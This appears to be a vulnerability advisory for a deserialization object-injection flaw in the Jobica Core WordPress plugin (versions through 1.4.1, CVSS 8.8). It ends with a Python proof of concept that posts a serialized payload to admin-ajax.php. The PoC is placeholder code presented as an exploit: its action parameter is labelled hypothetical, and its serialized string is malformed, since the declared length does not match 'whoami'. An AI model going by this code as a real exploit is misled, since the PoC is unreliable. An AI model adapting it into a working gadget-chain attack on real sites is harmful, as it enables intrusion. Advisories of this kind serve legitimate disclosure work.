Deserialization of Untrusted Data vulnerability in NooTheme Jobica Core jobica-core allows Object Injection.This issue affects Jobica Core: from n/a through <= 1.4.1.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Jobica Core <= 1.4.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL endpoint vulnerable to deserialization
# This is a generic example for demonstration
target_url = "http://example.com/wp-admin/admin-ajax.php"
# Example generic PHP serialized payload
# In a real scenario, this would be a specific gadget chain
# that leads to RCE, e.g., utilizing a class available in the theme.
payload = "O:8:\"stdClass\":1:{s:3:\"cmd\";s:9:\"whoami\";}"
data = {
"action": "jobica_import_data", # Hypothetical action parameter
"import_file": payload
}
try:
response = requests.post(target_url, data=data)
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")
except Exception as e:
print(f"An error occurred: {e}")